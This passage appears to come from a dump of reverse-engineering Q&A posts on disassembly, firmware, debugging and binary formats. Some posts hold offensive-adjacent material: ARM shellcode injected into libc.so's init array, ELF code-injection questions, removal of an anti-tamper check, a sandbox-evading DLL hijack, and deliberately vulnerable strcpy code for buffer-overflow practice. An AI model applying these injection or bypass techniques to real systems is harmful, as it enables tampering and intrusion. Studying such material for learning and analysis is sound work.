+     35 67
+     36 BB
+     36 EA
+     37 98
+     37 99
+     37 DD
+     37 F4
+     37 FD
+     38 2C
+     38 B2
+     40 3B
+     40 EE
+     41 25
+     41 97
+     41 E7
+     42 2D
+     42 D4
+     42 EF
+     43 1D
+     43 8C
+     44 5B
+     44 96
+     44 DC
+     46 28
+     46 3A
+     46 D5
+     46 DF
+     46 F7
+     46 FE
+     47 76
+     47 7D
+     48 C5
+     48 FC
+     49 D8
+     50 35
+     53 0E
+     53 B5
+     57 BA
+     57 E6
+     58 A7
+     58 C4
+     58 CA
+     59 19
+     59 21
+     59 AA
+     62 3D
+     62 A8
+     63 93
+     63 A9
+     65 34
+     65 8A
+     65 B0
+     65 F6
+     67 AE
+     67 D1
+     68 31
+     69 EC
+     70 26
+     70 41
+     71 14
+     71 81
+     72 23
+     72 3E
+     72 65
+     72 B6
+     74 F8
+     75 44
+     75 6B
+     76 64
+     76 7C
+     76 92
+     77 FF
+     78 37
+     78 91
+     78 B3
+     79 2F
+     80 A0
+     82 38
+     84 A2
+     85 DA
+     87 0D
+     90 24
+     91 6D
+     91 A4
+     93 18
+     95 62
+     95 CD
+     96 0B
+     96 3C
+     99 68
+     99 E4
+    101 6C
+    103 50
+    106 63
+    109 39
+    109 3F
+    109 DE
+    111 6E
+    112 6A
+    115 E1
+    116 36
+    117 70
+    117 89
+    118 D3
+    128 17
+    131 FB
+    134 D0
+    137 54
+    146 FA
+    149 0C
+    151 0A
+    154 F9
+    164 60
+    173 C3
+    174 2A
+    183 DB
+    184 C0
+    185 29
+    185 E3
+    189 16
+    191 83
+    200 2E
+    203 9A
+    204 66
+    207 F3
+    212 15
+    212 20
+    220 0F
+    221 7B
+    226 7A
+    240 33
+    241 E2
+    242 F5
+    244 EB
+    247 30
+    247 32
+    255 2B
+    256 06
+    261 10
+    275 13
+    284 07
+    286 40
+    288 E0
+    309 84
+    311 85
+    313 03
+    321 04
+    325 22
+    326 C2
+    327 F2
+    333 01
+    333 79
+    344 82
+    353 90
+    357 11
+    362 F0
+    376 80
+    414 05
+    422 78
+    436 09
+    467 74
+    489 D2
+    570 08
+    656 E5
+    889 B4
+   1301 12
+   1369 02
+   1717 00
+   2081 75
+
+And if I extract all 2-byte sequences which starts with 75, I have: +
ebra@him:~$ cat sequence-starts-with-75 | grep -o .... | sort | uniq -c | sort -n
+      1 7505
+      1 750D
+      1 750E
+      1 7514
+      1 7519
+      1 751F
+      1 7521
+      1 7522
+      1 7526
+      1 7527
+      1 752D
+      1 7530
+      1 7545
+      1 7547
+      1 7548
+      1 754D
+      1 754F
+      1 7557
+      1 755F
+      1 7560
+      1 756F
+      1 7570
+      1 7571
+      1 7572
+      1 7573
+      1 7581
+      1 7587
+      1 758B
+      1 7594
+      1 75A8
+      1 75B8
+      1 75C8
+      1 75CA
+      1 75CB
+      1 75CC
+      1 75CD
+      1 75E5
+      1 75F2
+      2 7501
+      2 7510
+      2 751D
+      2 7525
+      2 7534
+      2 7536
+      2 753C
+      2 753D
+      2 7566
+      2 758D
+      2 7598
+      2 7599
+      2 75B4
+      2 75D0
+      2 75D4
+      3 7523
+      3 752F
+      3 757A
+      3 758C
+      4 752E
+      4 753A
+      6 7535
+      6 7537
+      6 753B
+      6 753F
+      6 7567
+      6 7569
+      7 7500
+      7 7540
+      7 757B
+      7 758A
+      8 757C
+      8 75A0
+     10 7524
+     11 7563
+     11 7574
+     11 7576
+     11 7577
+     11 7579
+     12 7518
+     13 7575
+     14 752C
+     16 7565
+     16 7578
+     17 7517
+     17 75F0
+     18 7528
+     18 7564
+     19 7539
+     19 753E
+     27 7562
+     37 7515
+     37 7583
+     38 7516
+     45 7533
+     49 756A
+     49 756B
+     50 756C
+     52 756E
+     53 756D
+     58 7532
+     68 7512
+     73 7568
+    141 752B
+    143 7529
+    144 752A
+    169 7582
+    204 7513
+    248 7511
+
+For 3-bytes sequences which starts with 75: +
    ebra@him:~$ cat sequence-starts-with-75 | grep -o ...... | sort | uniq -c | sort -n
+  .. [Truncated] ...
+  6 750075
+  6 752B03
+  6 752B08
+  6 753269
+  6 753F00
+  6 756BA4
+  6 757500
+  6 757800
+  6 758204
+  6 758205
+  6 75820B
+  6 75F000
+  7 75120A
+  7 752801
+  7 752B05
+  7 756E08
+  8 751101
+  8 752910
+  8 756BC0
+  8 756D0C
+  8 757400
+  8 75A000
+  9 751104
+  9 752803
+  9 758200
+  9 758203
+ 10 752901
+ 10 752C80
+ 10 756BB2
+ 11 751864
+ 11 753200
+ 11 756ABC
+ 11 758208
+ 12 753290
+ 13 751210
+ 14 752B01
+ 14 752B10
+ 14 753910
+ 14 756C01
+ 14 75820F
+ 15 752B06
+ 16 753E00
+ 16 756BB0
+ 17 7517FF
+ 17 75326A
+ 17 753300
+ 18 752906
+ 19 756811
+ 19 756E00
+ 19 758209
+ 20 758201
+ 21 752904
+ 21 752B04
+ 22 756D00
+ 23 756C00
+ 24 75820A
+ 30 756A00
+ 34 758202
+ 35 752902
+ 36 758301
+ 37 752905
+ 46 752B02
+ 46 756810
+ 65 751103
+ 77 751102
+ 79 751100
+142 752A00
+
+" +['disassemblers']," Title: Virtual functions call asmBody: It seems to be a virtual function call. How would this code look in a high-level language like C ++? +
.text:0053A745 loc_53A745:                             ; CODE XREF: sub_53A690+CEj
+.text:0053A745                 mov     ecx, [edi+esi*4]
+.text:0053A748                 test    ecx, ecx
+.text:0053A74A                 jz      short loc_53A751
+.text:0053A74C                 mov     edx, [ecx]
+.text:0053A74E                 call    dword ptr [edx+4]
+.text:0053A751
+.text:0053A751 loc_53A751:                             ; CODE XREF: sub_53A690+BAj
+.text:0053A751                 mov     eax, dword_83C020
+.text:0053A756                 test    eax, eax
+.text:0053A758                 jnz     short loc_53A78D
+.text:0053A75A                 inc     esi
+.text:0053A75B                 cmp     esi, 25h
+.text:0053A75E                 jl      short loc_53A745
+
+
+" +"['linux', 'c', 'elf', 'dll-injection', 'injection']"," Title: Call libc functions from the payload statically injected into ELF binaryBody: I am working on ELF-injector, which given some payload (currently it's an assembly file with .text section only) will inject it into ELF binary. I had related post here. +Now I would like to make it more usable and allow the payload call library functions linked by the victim (at least libc functions). +Note: I am changing first instructions of the entry point to execute my code first. Does it mean I cannot yet use dynamically linked functions? +" +"['firmware', 'decryption', 'firmware-analysis', 'binwalk', 'binary-diagnosis']"," Title: decryption of firmware file from modem/router Speedport Plus (Sercomm not ZTE)?Body: Although I have no hope really I will leave this here in case someone has the ability and time to help. +This is from a modem/router widely used in countries like Germany, Greece and others from Sercomm and labeled as "Speedport Plus" +There is no output from binwalk and entropy is almost 1 (which I guess shows encryption) +The *.img file has some info in header + +
+ + +File is located here: https://help.cosmote.gr/system/templates/selfservice/gnosisgr/files2/09022001.00.030_OTE5.img +and older version of the firmware: https://help.cosmote.gr/system/templates/selfservice/gnosisgr/files2/09022001.00.030_OTE3.img +" +"['encryption', 'packers', 'protection']"," Title: Is this executable packed, encrypted or what?Body: I have an executable that I'd like to patch, but I'm very new to RE. I some have assembly knowledge of x86 as first learned language last year, but not of this one: PowerPC (in this case is PPC32), which I will learn when needed to patch the program. +But I think the main problem on me understanding what's this is that I've never seen a packed or encrypted (well, maybe encrypted). But I have no idea how to know which one is the case - or if it's another thing. I once asked a person and they told me it might be packed. Another one said it might be encrypted. Is there any way of knowing which one it could be, or if it's another which I don't know about? +Image of the beggining of the file in IDA's Graph view (was vertical, but it would take too much space): + +Image of random part of the file, in IDA's Text view: + +Can it be seen from there what's the problem with it? There's almost no code. And the developer said it was protected, so the program is not meant to be like this. But I have no idea what all those numbers mean. Never saw anything like that (only patched one program by now and was very easy, but still very cool to do). +Bellow MUCH of that red stuff are strings. Above it's the first picture. If it helps in any way, the file format is PRX for PS3 (https://www.psdevwiki.com/ps3/PRX) - don't worry, the program is not official. It's one of the unofficial programs made for unlocked PS3s by the community. But I'd like to patch something on it, as it's not working and I may know the problem, but the developer is not available to help anymore. +Thanks in advance for any help! +" +"['ida', 'elf', 'hexrays', 'pointer']"," Title: What does this custom piece of frame manipulation code from a router binary do?Body: I've decompiled a custom router ELF binary using Hex-Rays and have recently come across the following function in the binary: +
pkt_hdr_t *__cdecl pkt_hdr_from_frame(frame_t *frame, uint16_t *remaining)
+{
+  uint16_t *remaininga; // [xsp+10h] [xbp+10h]
+  frame_t *framea; // [xsp+18h] [xbp+18h]
+  uint16_t frame_sz; // [xsp+26h] [xbp+26h]
+
+  framea = frame;
+  remaininga = remaining;
+  if ( !frame || !remaining )
+    return 0LL;
+  frame_sz = ntohs(frame->sz.inner);
+  if ( frame_sz <= 1u )
+    return 0LL;
+  *remaininga = frame_sz - 2;
+  return (pkt_hdr_t *)&framea[1];
+}
+
+While it's a pretty short piece of code, I'll appreciate it if the role of remaining and the return line can be figured out. I know that a frame is created from a packet by appending the length of a packet to the beginning of it and the length field is 2 bytes long itself. This seems related to remaining which is a pointer to a 16 bit (2 byte) unsigned integer. According to the line before return it seems to me that initially the value pointed to by remaining is the length of the frame, i.e., length of packet + 2 bytes of length field but the function pkt_hdr_from_frame removes those 2 bytes and returns a pointer to the field in the frame located after the packet-length field (which is the beginning of the packet itself). Nevertheless, I'm confused with framea[1] as I don't understand the indexing here, especially considering the fact that the frame_t type is unknown to me. Thank you for your help! +EDIT 1: IDA Pro Local Types tab gives (Ordinal, Name, Size, Sync, Description) as +
31  frame_t 00000002        struct {uint16_n sz;uint8_t data[];}
+63  _pkt_hdr_t  00000002        struct {pkt_flags_t flags;msg_type_t msgtype;}
+64  pkt_hdr_t   00000002        typedef _pkt_hdr_t
+
+" +"['disassembly', 'assembly', 'c', 'objdump']"," Title: Link decompiled C code to Assembly (retdec decompiled object into C code, but with many errors, i found the kill switch which i need to edit)Body: I am using retdec to decompile a piece of software. It has a "kill switch" to detect if it's being run in an untrusted environment, in the decompiled code it just a simple +
if (env_untrusted() == 1)
+   abort()
+
+so i'd like to remove that statement, thing is, the decompiled C code has many compilation errors. Is it possible to see what assembly corresponds to that function, and then change that assemlby to "return 0"? +also, using objdump i can generate assembly, but not in a usable format, is there a way how i can make it print in a usable format so that i can compile that assembly? +so in summary: +i have decompiled an executable file using retdec into a C file. in that C file i found a function that i'd like to edit, but i cant compile the C file, so i need to find that function in the assembly, how can i do that? +and as a by producct: how can i make objdump only print out assembly +" +"['mach-o', 'macos']"," Title: How to fix an extracted dyld from dyld_shared_cache_x86_64?Body: As part of challenging my self I was trying to run a program that doesn't exist on Catlina taken from Big Sur. +I had to extract the dylibs from the shared cache by using this tool. +The library called ChatKit, after the extraction it seems there are missing values under the Dynamic Loader Info and isn't expanded, see an example: + +In addition, trying to open the program or by import it externally, e.g: +
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <dlfcn.h>
+
+int main(int argc, char** argv)
+{
+    void *handle;
+
+    handle = dlopen("./Chatkit", RTLD_LAZY);
+    if (!handle) {
+        /* fail to load the library */
+        fprintf(stderr, "Error: %s\n", dlerror());
+        return EXIT_FAILURE;
+    }
+
+    dlclose(handle);
+
+    return EXIT_SUCCESS;
+}
+
+
+dyld throwing an error: Overlapping segments, because the segments' address lower is bigger than the higher? https://opensource.apple.com/source/dyld/dyld-360.21/src/ImageLoaderMachO.cpp +
...
+    if ( this->segmentsCanSlide() && this->segmentsMustSlideTogether() ) {
+        bool needsToSlide = false;
+        bool imageHasPreferredLoadAddress = segHasPreferredLoadAddress(0);
+        uintptr_t lowAddr = (unsigned long)(-1);
+        uintptr_t highAddr = 0;
+        for(unsigned int i=0, e=segmentCount(); i < e; ++i) {
+            const uintptr_t segLow = segPreferredLoadAddress(i);
+            const uintptr_t segHigh = dyld_page_round(segLow + segSize(i));
+            if ( segLow < highAddr ) {
+                if ( dyld_page_size > 4096 )
+                    dyld::throwf("can't map segments into 16KB pages");
+                else
+                    dyld::throwf("overlapping segments");
+            }
+            if ( segLow < lowAddr )
+                lowAddr = segLow;
+            if ( segHigh > highAddr )
+                highAddr = segHigh;
+                
+            if ( needsToSlide || !imageHasPreferredLoadAddress || inPIE || !reserveAddressRange(segPreferredLoadAddress(i), segSize(i)) )
+                needsToSlide = true;
+        }
+
+you can retrieve ChatKit dylib from here +" +"['decryption', 'decompress', 'hex', 'encodings']"," Title: CyberChef Challenge #21Body: The challenge data/input is: +
AkQ2KVX5poU8LcrSpVE3xRfH3rYEYKH9pJ6HH9hipkCaVqagCyPfmiAToxHWCTNtHQ6twaEtoTPGLywKXxYYQS8E1ytgiHCepsAK2fFqRiKh23MS9f9reW7NBE8ef1VKYCSkQQ6uJ5acMAD1w298XGi1sU7UzjZfvKT8UZiSJgm83aeNBbSkyM26oLM2ZQw6PGkJnoE4i4idL5VAKDxnMC6PumppcZZA7qdwSQf3EH8bb6CHy5F7UR5ymrZFp52cERMCbR5JWC9QUvScTPzuyfkKCnYiAAatRVYLjxNCRfqWQCbgZ7cnMvdhYddf35TBRjrSdoWoq3EVAgUmduP3xiq18sgpP8jAFdcDk2mujSd9MY8E7c5PBX5NuH7LR27iLNwXskTSfE6waB6iKKZiwws3yZXWYA23bXNH1cvNsGuyJCLoFm7k8JS45zdM1duvUhMujm4tXHqLMHT8ABozHga8bHqgdv6f3zTyddNZeTxAuhRZHqaYS848jssii15h8bt8RkH2CUSsLPV6N439uuUsTQ9HEEXt5GRoFYtAERy4dfcPDQo
+
+The solution must be done by using https://gchq.github.io/CyberChef recipe(s). +I passed all previous 20 challenges on my own without any assistance, but this one seems pretty strange, so far I spent 1 week trying to figure it out but I couldn't till now. I am not asking for full answer, just a kick in the right direction (the first 2 or 3 recipe(s)). +The solved challenge message comes in the form of: +
Congratulations, you have completed CyberChef challenge #21!
+
+The code for this challenge is UUID.
+
+The next challenge can be found at https://pastebin.com/LINKCODE
+
+" +"['malware', 'dynamic-analysis']"," Title: Jumping to a specific logation for DLL injection : OllyDbgBody: Hypothetically, If I'm hijacking a DLL but user space is in a sandbox; upon debugging, sandbox initiates at 0x345678 and I want to move to the space before it initiates: +Can I call a jmp function like "xyz-volatile(jmp 0x1100000);" to jump to the space before the sandbox initiates? +" +"['debugging', 'gdb', 'breakpoint']"," Title: How to let SIGTRAP get caught by sighandler in GDB?Body: I have a program that I am trying to reverse, which contains an int3 (0xCC) which emits a SIGTRAP signal, which is then handled by a sighandler defined in sigaction.
+The handler performs calculations on certain values. +When I'm debugging with GDB, the SIGTRAP is raised, and the handler does not receive the signal because it is GDB which intercepts it. +I need the signal to be caught in order to see what the handler is dynamically returning as a value. +I tried to disable SIGTRAP interception with the command : +
handle SIGTRAP nostop noprint noignore  
+
+but I have the following error: +
Program terminated with signal SIGTRAP, Trace / breakpoint trap.
+The program no longer exists.
+
+My goal is to make sure that I can let the SIGTRAP be intercepted by the sighandler and not by GDB, but still be able to launch the program and place breakpoints. +" +"['android', 'apk']"," Title: How to read dnSpy code from assembly_csharp.dllBody: So I have managed to retrieve the assembly_csharp.dll using the il2cpp tool from an android apk, however my issue is that when I go to read the dll using dnSpy I have all the correct looking function names, but the body of all the functions reads like: +
return null; 
+return default(bool); 
+return 0;
+
+etc etc +My question is is there any way to retrieve these functions, or otherwise how can I modify this code to change the app's behaviour +" +"['c++', 'android', 'java', 'frida']"," Title: Tracing all (or most of) function calls in a specific Android appBody: I'm having a problem, where I'm trying to trace some function calls in an Android app, that uses JNI for about all of its work. More specifically, a function call, in JNI, that makes (IIRC Android itself "calls" it, not the app, the app just makes it) a specific Toast. And try to hook on that function that makes it, for example with Frida's Interceptor. +The problem is, that I haven't found a way to trace all function calls. I used some tips, like using frida-trace and tracing "Java_*" (where * is a wildcard) calls. But as this app probably has non-standard JNI calls (IIRC dynamically loading JNI libraries, where function names can have any name). +Then I used a tool called jnitrace, which I found available open source on GitHub. This tool didn't report any functions at all. Until I opened a WebView in the app. Then it started printing out lots and lots of data referencing to the Chromium library, even after I stopped using the WebView. +I found out about Frida's Stalker, but using some scripts that say "to print all function calls" just crash the app. Any app, so I think it's not the problem of the specific app I'm reverse engineering. +" +"['c++', 'android', 'java']"," Title: Making a Android Toast via JNI, i.e. calling Java methods via JNIBody: Concerning the outputting of an Toast, I found that there are some ways to make a Toast, that invoke calling a FindClass on JNIEnv object with the android/widget/Toast parameter, but I found no references in the code doing this. +I found this code here +
jclass toast = (*env)->FindClass(env, "android/widget/Toast");
+// ToastクラスのmakeTextスタティックメソッドのメソッドIDを取得する
+jmethodID methodMakeText = (*env)->GetStaticMethodID(env, toast, "makeText", "(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;");
+if(methodMakeText == NULL){
+LOGE("toast.makeText not Found");
+
+return;
+
+But when using the strings tool on the C++ compiled files used in the app I'm decompiling, I haven't found any references to a Toast. +What other ways there are to call methods in a Java library, e.g. make a Toast? +" +"['ida', 'arm', 'elf', 'shellcode', 'dll-injection']"," Title: Injecting code into an ELF binary , got Segmentation fault(SIGSEGV)Body: I am currently working on an ELF-injector and my approach is standard: find code cave (long enough sequence of 0's), rewrite it with the instructions I want to execute and then jump back to the start of the original program to execute it as it normally would. + + + +
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
+Build fingerprint: 'Meizu/MeizuE3_CN/MeizuE3:7.1.1/NGI77B/1578882816:user/release-keys'
+Revision: '0'
+ABI: 'arm'
+pid: 14576, tid: 14576, name: load_lib.so  >>> ./load_lib.so <<<
+signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x14608
+    r0 000775bd  r1 00000002  r2 00014608  r3 0000000a
+    r4 f2d62279  r5 f28bfcc0  r6 f2d04a90  r7 0000000a
+    r8 f2d62279  r9 f2d725f0  sl f2d62268  fp ffc08818
+    ip 00000000  sp ffc08818  lr f28bfce0  pc 00014608  cpsr 800e0010
+    d0  0000000000000000  d1  0000000000000000
+    d2  0000000000000000  d3  0000000000000000
+    d4  0000000000000000  d5  0000000000000000
+    d6  0000000000000000  d7  0000000000000000
+    d8  0000000000000000  d9  0000000000000000
+    d10 0000000000000000  d11 0000000000000000
+    d12 0000000000000000  d13 0000000000000000
+    d14 0000000000000000  d15 0000000000000000
+    d16 0000001ff2c72000  d17 0000000000000000
+    d18 0000000000002a98  d19 0000000000001080
+    d20 0000000000000000  d21 0000000000000000
+    d22 0000000000000000  d23 0000000000000000
+    d24 0000000000000000  d25 0000000000000000
+    d26 0000000000000000  d27 0000000000000000
+    d28 0000000000000000  d29 0000000000000000
+    d30 0000000000000000  d31 0000000000000000
+    scr 80000000
+
+backtrace:
+    #00 pc 00014608  <unknown>
+    #01 pc 00074cdc  /data/local/tmp/libc.so
+
+stack:
+         ffc087d8  f2d01370  [anon:linker_alloc]
+         ffc087dc  f2cff040  [anon:linker_alloc]
+         ffc087e0  00000000
+         ffc087e4  00000002
+         ffc087e8  f2c77010
+         ffc087ec  00000001
+         ffc087f0  3f800000
+         ffc087f4  00000000
+         ffc087f8  f2d03d40  [anon:linker_alloc_small_objects]
+         ffc087fc  f2d03d40  [anon:linker_alloc_small_objects]
+         ffc08800  f2d03d48  [anon:linker_alloc_small_objects]
+         ffc08804  ffc08878  [stack]
+         ffc08808  f2d04010  [anon:linker_alloc]
+         ffc0880c  f2d72010
+         ffc08810  f2d03d20  [anon:linker_alloc_small_objects]
+         ffc08814  f2d03d20  [anon:linker_alloc_small_objects]
+    #00  ffc08818  f2d04a90  [anon:linker_alloc]
+         ........  ........
+    #01  ffc08818  f2d04a90  [anon:linker_alloc]
+         ffc0881c  f2d127e3  /system/bin/linker (__dl__ZN6soinfo13call_functionEPKcPFvvE+86)
+         ffc08820  00000000
+         ffc08824  f2d01220  [anon:linker_alloc]
+         ffc08828  00000001
+         ffc0882c  00000001
+         ffc08830  f28d0de0  /data/local/tmp/libc.so
+         ffc08834  f2d12703  /system/bin/linker (__dl__ZN6soinfo10call_arrayEPKcPPFvvEjb+190)
+         ffc08838  00000000
+         ffc0883c  00000000
+         ffc08840  00000000
+         ffc08844  f2d721d0
+         ffc08848  f2d62345  /system/bin/linker
+         ffc0884c  f2d04a90  [anon:linker_alloc]
+         ffc08850  00000000
+         ffc08854  f2d721d0
+
+
//my shellcode
+e92d4800    push    {fp, lr}
+e1a0b00d    mov fp, sp
+e3042608    movw    r2, #17928  ; 0x4608
+e3402001    movt    r2, #1
+e30705bd    movw    r0, #30141  ; 0x75bd
+e3400007    movt    r0, #7
+e3a01002    mov r1, #2
+e12fff32    blx r2
+e3060e45    movw    r0, #28229  ; 0x6e45
+e3400001    movt    r0, #1
+e12fff30    blx r0
+e8bd8800    pop {fp, pc}
+
+
.init_array:00085DE0 ; ELF Initialization Function Table
+.init_array:00085DE0 ; ===========================================================================
+.init_array:00085DE0
+.init_array:00085DE0 ; Segment type: Pure data
+.init_array:00085DE0                 AREA .init_array, DATA
+.init_array:00085DE0                 ; ORG 0x85DE0
+.init_array:00085DE0 off_85DE0       DCD __start_ae          ; DATA XREF: LOAD:off_9C↑o
+.init_array:00085DE0                                         ; LOAD:off_15C↑o
+.init_array:00085DE4                 DCD sub_74CC0 ;<---my shellcode--------- 
+.init_array:00085DE8                 DCD _GLOBAL__sub_I_libgen.cpp+1
+.init_array:00085DEC                 DCD _GLOBAL__sub_I_mntent.cpp+1
+.init_array:00085DF0                 DCD _GLOBAL__sub_I_pty.cpp+1
+.init_array:00085DF4                 DCD _GLOBAL__sub_I_strerror.cpp+1
+.init_array:00085DF8                 DCD _GLOBAL__sub_I_strsignal.cpp+1
+.init_array:00085DFC                 DCD _GLOBAL__sub_I_stubs.cpp+1
+.init_array:00085E00                 DCD __res_key_init+1
+.init_array:00085E04                 DCD jemalloc_constructor+1
+.init_array:00085E04 ; .init_array   ends
+.init_array:00085E04
+
+
.text:00074CC0 sub_74CC0                               ; DATA XREF: .init_array:00085DE4↓o
+.text:00074CC0                 STMFD           SP!, {R11,LR}
+.text:00074CC4                 MOV             R11, SP
+.text:00074CC8                 MOV             R2, #0x14608
+.text:00074CD0                 MOV             R0, #(aSLibomegaSo+4) ; file
+.text:00074CD8                 MOV             R1, #2  ; mode
+.text:00074CDC                 BLX             R2      ; dlopen;<---When the code runs here , got signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x14608
+.text:00074CE0                 MOV             R0, #0x16E45
+.text:00074CE8                 BLX             R0      ; __libc_preinit(void)
+.text:00074CEC                 LDMFD           SP!, {R11,PC}
+.text:00074CEC ; End of function sub_74CC0
+.text:00074CEC
+
+
.plt:00014608
+.plt:00014608 ; =============== S U B R O U T I N E =======================================
+.plt:00014608
+.plt:00014608 ; Attributes: thunk
+.plt:00014608
+.plt:00014608 ; void *dlopen(const char *file, int mode)
+.plt:00014608 dlopen                                  ; CODE XREF: __libc_init_malloc(libc_globals *)+84↓p
+.plt:00014608                                         ; netdClientInitImpl(void)+8↓p ...
+.plt:00014608                 ADRL            R12, 0x87610
+.plt:00014610                 LDR             PC, [R12,#(dlopen_ptr - 0x87610)]! ; __imp_dlopen
+.plt:00014610 ; End of function dlopen
+.plt:00014610
+
+I've looked up a lot of relevant posts, but I still don't have a clue. +A week, I still have not found the specific reason, I sincerely hope someone can help me +" +"['idapython', 'pe', 'idapro-sdk', 'ida-plugin']"," Title: Try to parse buffer as PE with IDAPythonBody: file_buffer = requests.get(file_url) +buf_size = len(file_buffer) +pe_file = pefile.PE(data=file_buffer) +print("This is really a pe imphash %s." % pe_file.get_imphash()) +addr = hex(id(file_buffer)) +print("PE start memory at %s length %d." % (addr, len(file_buffer))) +new_loader = ida_idaapi.loader_input_t() +mem_inp = ida_diskio.create_memory_linput(addr, buf_size) +" +"['x86', 'c++', 'linux', 'elf', 'injection']"," Title: How to split bytes into instructions in binary ELF file for x86Body: I'm working on a static code injector for ELF files. I need to "steal" some bytes in order to write jump to my code on their place and then execute stolen instructions somewhere in the payload. However I don't know how to automate it. I will need to steal at least 5 bytes for my jump instruction, but obviously not always 5 bytes equal to the whole number of instructions, so I might have to nop several bytes. +What are the ways to distinguish instructions, given bytes in ELF binary( C/C++ preferably ) ? +" +"['dll', 'unpacking', 'dumping', 'import-reconstruction']"," Title: Rebuild IAT after manually unpacking DLLBody: I've been trying to unpack this dll and I'm pretty sure that 0x7c3ea902 or 0x1007A9D2 (ASLR disabled) or simply 0x7A9D2 is OEP. + +But after dumping with OllyDumpEx and trying to fix IAT with ImpREC it just doesn't work. + +Here are the results from ImpREC + +My question is, why are there invalid imports detected when the OEP is most likely correct? +" +"['hardware', 'embedded', 'integrated-circuit']"," Title: Chip Identification in Push Button ToyBody: I have a toy that simply consists of a button which plays a variety of phrases when activated. My intention is to replace the sounds with my own. However, I have been unable to identify the chip and therefore cannot interface with it. +Here is a picture and schematic of the board, developed using a multimeter in continuity mode. + + +Here is a closeup of the chip. + +I believe the markings are as follows: +
JFK8-4
+P04003
+
+There is also a "triforce" logo, for a company which I have not identified yet. +Pins 1 and 8 are particularly interesting, as they are not connected to anything. I assume they were used to program the chip, but am not able to identify a protocol if any exists. +It would be appreciated if anyone can locate a datasheet. I would also be happy with advice on identifying the function of the unconnected pins. +" +['ida']," Title: IDA Pro ""force new variable"" for register variable?Body: IDA Pro 7.2 has a new functionality named force new variable. +See: +Here and Here. +But it is only efficient for stack-based variables. How can I force a new variable for a register-based variables? +" +"['firmware', 'linux']"," Title: Huawei HG8245H, can't read some system filesBody: I have modem Echolife HG8245H (V3R016C10S150). I'm using telnet to connect it. I need to read some files from this modem. There's a shell mode I can enter, but it is nerfed badly: +
SU_WAP>shell
+
+BusyBox v1.18.4 (2016-10-11 19:35:35 CST) built-in shell (ash)
+Enter 'help' for a list of built-in commands.
+
+profile close core dump  
+WAP(Dopra Linux) # ?  
+exit  
+getcustominfo.sh  
+restorehwmode.sh  
+
+These are all commands I can do in this mode. There is another way to look at the directories: +
SU_WAP>wap list path /    
+bin  
+boot  
+dev  
+etc  
+html  
+lib  
+libexec  
+linuxrc  
+mnt  
+proc  
+root  
+sbin  
+share  
+sys  
+tmp  
+uer   
+usr  
+var  
+
+It works like 'ls'. But I can not read any file: +
SU_WAP>wap list path /var/wifi.txt  
+/var/wifi.txt  
+success!  
+
+Commands like 'cat' aren't working. Does anybody know is there any way to read these files if you're connecting modem through telnet? Maybe this is not possible with this firmware?
+Thank you:) +" +['immunity-debugger']," Title: Immunity Debugger showing path instead of argv[1]Body: I'm trying to learn Buffer Overflow +Here is the vulnerable code +
#include <stdio.h>
+#include <string.h>
+
+int main(int argc, char const *argv[])
+{
+    char buffer[64];
+
+    if(argc < 2){
+        printf("The number of argument is incorrect\n");
+        return 1;
+    }
+    strcpy(buffer, argv[0]);
+    return 0;
+}
+
+The problem is that when I try to run the code in Immunity Debugger, I don't see AAAAAAA in the source in the stack pane I see the path to my test.exe. Later, I don't see 0x41s ....obviously +What is happening ? + +" +"['ida', 'disassembly', 'binary-analysis', 'static-analysis']"," Title: finding sequence of opcode in binaryBody: I have dis-assmebled binary and want to check if it contains particular sequence of opcodes(obtained from other reference binary). how to do that . i know plain byte +level comparison wont work as as memory address etc may differ. +
example :
+0000001806991C0                 push    rdi
+.text:00000001806991C1                 sub     rsp, 30h
+.text:00000001806991C5                 mov     [rsp+38h+var_18], 0FFFFFFFFFFFFFFFEh
+.text:00000001806991CE                 mov     [rsp+38h+arg_0], rbx
+.text:00000001806991D3                 mov     rdi, rcx
+.text:00000001806991D6                 lea     rbx, [rcx+60h]
+.text:00000001806991DA                 lea     rax, off_180B6BED0
+.text:00000001806991E1                 mov     [rbx], rax
+.text:00000001806991E4                 xor     r8d, r8d
+.text:00000001806991E7                 lea     rdx, nullsub_1
+.text:00000001806991EE                 mov     rcx, rbx
+.text:00000001806991F1                 call    sub_1800A4160
+.text:00000001806991F6                 mov     rcx, rbx
+.text:00000001806991F9                 call    sub_1800A4148
+.text:00000001806991FE                 xchg    ax, ax
+.text:0000000180699200                 lea     rdx, sub_180259E24
+.text:0000000180699207                 lea     rcx, [rdi+50h]
+.text:000000018069920B                 call    sub_180079CEC
+.text:0000000180699210                 lea     rcx, [rdi+50h]
+.text:0000000180699214                 call    sub_1800A74C4
+.text:0000000180699219                 lea     rax, off_180BE6328
+
+" +"['linux', 'exploit', 'buffer-overflow']"," Title: The buffer is too short to insert addresses when exploiting buffer overflowBody: Newbie here. Sorry for what you about to read . + +I'm currently working on exploiting a binary on Ubuntu 18.04. Here is some information about the binary: + +Its checksec information using pwntools: + +
Arch:     i386-32-little
+    RELRO:    Full RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      No PIE (0x8048000)
+
+ +Its disassembled code: + +
./vulnprog:     file format elf32-i386
+
+
+Disassembly of section .init:
+
+0804834c <_init>:
+ 804834c:   53                      push   ebx
+ 804834d:   83 ec 08                sub    esp,0x8
+ 8048350:   e8 8b 00 00 00          call   80483e0 <__x86.get_pc_thunk.bx>
+ 8048355:   81 c3 87 1c 00 00       add    ebx,0x1c87
+ 804835b:   8b 83 18 00 00 00       mov    eax,DWORD PTR [ebx+0x18]
+ 8048361:   85 c0                   test   eax,eax
+ 8048363:   74 05                   je     804836a <_init+0x1e>
+ 8048365:   e8 2e 00 00 00          call   8048398 <__gmon_start__@plt>
+ 804836a:   83 c4 08                add    esp,0x8
+ 804836d:   5b                      pop    ebx
+ 804836e:   c3                      ret    
+
+Disassembly of section .plt:
+
+08048370 <.plt>:
+ 8048370:   ff 35 e0 9f 04 08       push   DWORD PTR ds:0x8049fe0
+ 8048376:   ff 25 e4 9f 04 08       jmp    DWORD PTR ds:0x8049fe4
+ 804837c:   00 00                   add    BYTE PTR [eax],al
+    ...
+
+Disassembly of section .plt.got:
+
+08048380 <read@plt>:
+ 8048380:   ff 25 e8 9f 04 08       jmp    DWORD PTR ds:0x8049fe8
+ 8048386:   66 90                   xchg   ax,ax
+
+08048388 <_exit@plt>:
